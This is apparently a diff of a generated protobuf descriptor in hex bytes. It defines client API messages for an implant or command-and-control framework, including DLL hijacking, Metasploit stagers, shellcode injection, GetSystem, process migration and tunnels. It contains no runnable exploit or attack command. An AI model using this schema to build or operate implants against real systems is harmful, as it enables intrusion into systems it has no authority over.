0x4c, - 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, - 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, - 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, - 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, - 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xdf, 0x02, 0x0a, 0x04, 0x48, 0x6f, - 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, - 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, - 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, - 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, - 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, - 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x07, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, - 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, - 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a, 0x08, 0x41, - 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22, 0xf3, 0x01, - 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x12, 0x2a, - 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, - 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e, 0x54, 0x61, - 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, - 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, - 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, - 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, - 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x66, 0x0a, 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, + 0x76, 0x6f, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, + 0x03, 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, + 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x24, 0x0a, 0x0c, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, + 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, + 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x39, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, + 0x22, 0x59, 0x0a, 0x09, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x12, 0x1c, 0x0a, + 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, + 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, + 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x3e, 0x0a, 0x0b, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x2e, 0x0a, 0x08, 0x47, + 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x06, + 0x4d, 0x53, 0x46, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, + 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, + 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x22, 0xcd, 0x01, 0x0a, 0x0c, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, + 0x0a, 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, + 0x48, 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, - 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x78, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, - 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x65, 0x73, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, + 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, + 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, + 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, + 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, + 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, + 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, + 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, + 0x41, 0x43, 0x4d, 0x45, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, + 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, + 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, + 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, + 0x71, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, + 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xe3, 0x01, 0x0a, 0x0c, + 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, + 0x41, 0x72, 0x63, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, + 0x12, 0x16, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, + 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, + 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, + 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, + 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, + 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, + 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, + 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x22, 0x2f, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x22, + 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, + 0x6c, 0x65, 0x22, 0x94, 0x01, 0x0a, 0x0c, 0x47, 0x65, 0x74, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, + 0x52, 0x65, 0x71, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, + 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x48, 0x6f, 0x73, + 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x2b, 0x0a, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xb2, 0x01, 0x0a, 0x0a, 0x4d, 0x69, + 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x34, 0x0a, 0x07, 0x45, + 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, + 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, + 0x0a, 0x0f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, + 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, + 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, + 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, + 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, + 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 